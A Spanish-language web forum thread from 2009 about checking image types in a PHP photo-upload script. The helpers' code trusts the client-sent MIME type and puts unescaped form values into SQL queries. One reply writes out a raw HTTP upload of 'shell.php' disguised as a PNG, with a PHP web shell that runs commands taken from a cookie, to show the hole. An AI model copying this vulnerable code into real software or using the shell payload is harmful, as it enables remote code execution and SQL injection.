galeria de fotos, comprobar tipo de imagen

Iniciado por DJmixmancar, 21 Agosto 2009, 18:05 PM

0 Miembros y 1 Visitante están viendo este tema.

DJmixmancar

Tengo un problema con mi peque sistema,
mi sistema es uno para subir fotos,
solo quiero que suba solo fotos, por ejemplo jpg, gif

pero no se donde colocar el codigo de comprbar,


bueno es que el, se me ocurrio que que si suvia con el mismo nombre lo remplace por un numero mas, pero cuando subia con espacio o un caracter de simbolo eahi esta el error,

alguien saber como cambiar esto

porfavor es urgente,
Citar<?php
include("config.php");
$tag=$_POST["tag"];
$SIZE="1000000";
$UPLOAD_DIR ="../userfotos/";
if (is_uploaded_file($archivo)) {
if ( $archivo_size > $SIZE ) {
echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE.";
echo " Ingrese de Nuevo su Aviso</CENTER></b>";
exit;
}
$nombreaponer=strtolower($archivo_name);
$alternativo="";
while (@fopen($UPLOAD_DIR.$alternativo.$nombreaponer,"r"))
{
$alternativo++;
}
$nombreaponer=$alternativo.$nombreaponer;
copy($archivo,$UPLOAD_DIR.$nombreaponer);
unlink($archivo);
$url_completa ="$UPLOAD_DIR$nombreaponer";

$ingresar=mysql_query("insert into fotos(titulo,Comentario,url_,tag,pass_delete,categria,url_completa,data,user) values ('$titulo','$cuerpo','$nombreaponer','$tag','$pass_delete','$nombre','$url_completa','$fecha','$quien')",$database_server);
echo "se agrego el archivo ";
echo"<b>";
echo"$nombreaponer";
echo"<br>";
echo"<p>el codigo de delete es</p>";
echo"<b>";
echo "$pass_delete";
echo"<br>";
echo"<b>";
echo '<p><a href="./formulario_upload.php">Subir mas Fotos</a></p>';
} else {
echo "no se puedo agragar su archivo";
//$ingresar=mysql_query("insert into tabla(titulo,cuerpo) values ('$titulo','$cuerpo')",$link);
}
?>

дٳŦ٭

Citar
porfavor es urgente

:-\ aquí no hacemos la tarea de nadie  ;D pero a ver.. te doy una pista, buscate info sobre $_FILES y sus atributos.. tiene la opción de detectar el mime del archivo. Suerte.


Con sangre andaluza :)


DJmixmancar

hola man gracia pero si se eso me olvide de agregar.
   if ($userfile_type=="image/jpeg" || $userfile_type=="image/pjpeg" || $userfile_type=="image/gif" || $userfile_type=="image/bmp")
   {}


el problema es no se donde obicarlo esque cada vez que lo ubico me bota error de ubicacion de
}

lo locado en todas partepero sale error


Karman

me parece mejor algo así:

Código (php) [Seleccionar]
$imagetypes=array('image/jpeg','image/gif','image/png','image/tiff','image/bmp');
...
if ( $archivo_size > $SIZE ) {
echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE.";
echo " Ingrese de Nuevo su Aviso</CENTER></b>";
exit;
}
if(!in_array($userfile_type,$imagetypes)){
echo "<b><CENTER>El Servidor acepta sólo imagenes";
echo " Ingrese de Nuevo su Aviso</CENTER></b>";
exit;
}


S2

DJmixmancar

Hola man Gracias por responder pero nada, ahora ndad puedo subir pucha, que hago

DJmixmancar

amigo nda no se donde colocar ayudame porfavor yo etrataDO ASI pero nada
Citar<?php
include("config.php");
//include("../../conex.php");

//$link=Conectarse();
//$random_number = $_POST['$random_number'];

$tipo_archivo = $HTTP_POST_FILES['archivo']['type'];

$tag=$_POST["tag"];

$SIZE="1000000";

$UPLOAD_DIR ="../userfotos/";

if (is_uploaded_file($archivo)) {

$imagetypes=array('image/jpeg','image/gif','image/png','image/tiff','image/bmp');


f ( $archivo_size > $SIZE ) {

echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE.";

echo " Ingrese de Nuevo su Aviso</CENTER></b>";

exit;

}



$nombreaponer=strtolower($archivo_name);

$alternativo="";

while (@fopen($UPLOAD_DIR.$alternativo.$nombreaponer,"r"))

{

$alternativo++;

}



$nombreaponer=$alternativo.$nombreaponer;

copy($archivo,$UPLOAD_DIR.$nombreaponer);

unlink($archivo);
$url_completa ="$UPLOAD_DIR$nombreaponer";

//$url_completa = "xddd";
$ingresar=mysql_query("insert into fotos(titulo,Comentario,url_,tag,pass_delete,categria,url_completa,data,user) values ('$titulo','$cuerpo','$nombreaponer','$tag','$pass_delete','$nombre','$url_completa','$fecha','$quien')",$database_server);
echo "se agrego el archivo ";

echo"<b>";
echo"$nombreaponer";
echo"<br>";
echo"<p>el codigo de delete es</p>";
echo"<b>";
echo "$pass_delete";
echo"<br>";
echo"<b>";
echo '<p><a href="./formulario_upload.php">Subir mas Fotos</a></p>';
} else {
echo "no se puedo agragar su archivo";
//$ingresar=mysql_query("insert into tabla(titulo,cuerpo) values ('$titulo','$cuerpo')",$link);
}

?>


nada  aqui te dejo el codigo de from
Citar</label>

<label>

<textarea name="cuerpo" cols="50" rows="5" id="cuerpo"></textarea>

<br />
<br />

pdf<br />
</label>

<label>

<input name="archivo" type="file" id="archivo" />

<br />
<br />
<input name="pass_delete" type="hidden" value="<? echo $random_number;?>" />
<input name="quien" type="hidden" value="<? echo $quien;?>" />
<input name="fecha" type="hidden" value="<?=fecha() ?>" />



<br />
</label>

<label>

<input type="submit" name="Submit" value="guardar" />

</label>

</form>

Karman

fijate si así te funciona:

Código (php) [Seleccionar]
<?php

include("config.php");
//include("../../conex.php");

//$link=Conectarse();
//$random_number = $_POST['$random_number'];

$archivo $_FILES['archivo'];
$tag=$_POST["tag"];
$SIZE="1000000";
$UPLOAD_DIR ="../userfotos/";
$imagetypes=array('image/jpeg','image/gif','image/png','image/tiff','image/bmp');

if (
is_uploaded_file($archivo)) {

if ($archivo['size'] > $SIZE ) {
echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE.";
echo " Ingrese de Nuevo su Archivo</CENTER></b>";
exit;
}

if(!in_array($archivo['type'],$imagetypes)){
echo "<b><CENTER>El Servidor acepta sólo imagenes";
echo " Ingrese de Nuevo su Archivo</CENTER></b>";
exit;
}

$nombreaponer=strtolower(ereg_replace("[^a-zA-Z0-9.]",'_',$archivo['name']));
$alternativo=0;
do{
$nombreposible=$UPLOAD_DIR.($alternativo++).$nombreaponer;
}while(file_exists($nombreposible));
$nombreaponer=$nombreposible;

if(!move_uploaded_file($archivo['tmp_name'],$nombreaponer)){
echo "<b><CENTER>Error: No se a podido subir la imagen...</CENTER></b>";
exit;
}

$url_completa =$nombreaponer;
$ingresar=mysql_query("insert into fotos(titulo,Comentario,url_,tag,pass_delete,categria,url_completa,data,user) values ('$titulo','$cuerpo','$nombreaponer','$tag','$pass_delete','$nombre','$url_completa','$fecha','$quien')",$database_server);

echo "se agrego el archivo ";
echo"<b>";
echo"$nombreaponer";
echo"<br>";
echo"<p>el codigo de delete es</p>";
echo"<b>";
echo "$pass_delete";
echo"<br>";
echo"<b>";
echo '<p><a href="./formulario_upload.php">Subir mas Fotos</a></p>';
} else {
echo "no se puedo agregar su archivo";
}

?>


S2

WHK

con eso yo fácilmente podría subirle un php y hacer código de ejecución remota:

Citartelnet web.com 80
POST /test.php HTTP/1.1
Host: web.com
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------15890672924370
Content-Length: 251

-----------------------------15890672924370
Content-Disposition: form-data; name="archivo"; filename="shell.php"
Content-Type: image/png

<?php echo nl2br(htmlspecialchars(system($_COOKIE['eval']), ENT_QUOTES)); ?><br /><?php phpinfo(); ?>

y si le pongo comillas al título y demás puedo causar una inyección sql.

Mejor verifica extensiones basados en strpos tomando los ultimos tres o cuatro carácteres segín la extensión a comparar y devuelves true o false si es permitido o no y asegurate siempre de utilizar mysq escape real string para evitar las inyecciones. Si quieres algo mas avanzado y evitar que se ejecuten via LFI aunque sean subidas con extensión jpg utiliza gd.

Karman

Cita de: WHK en 24 Agosto 2009, 05:17 AM
con eso yo fácilmente podría subirle un php y hacer código de ejecución remota

si en realidad no se hablo de seguridad... un buen mecanismo sería comprobar la extensión final del archivo y eliminar extensiones duplicadas si existen... pero bueno... la idea del post no era esa...

S2

WHK

Y por eso después aparecen las webs expuestas para que menores de 15 años las desfaceen sabiendo que la gente que viene a pedir este tipo de cosas copian y pegan código sin conocer mucho del tema.
Solo es hábito.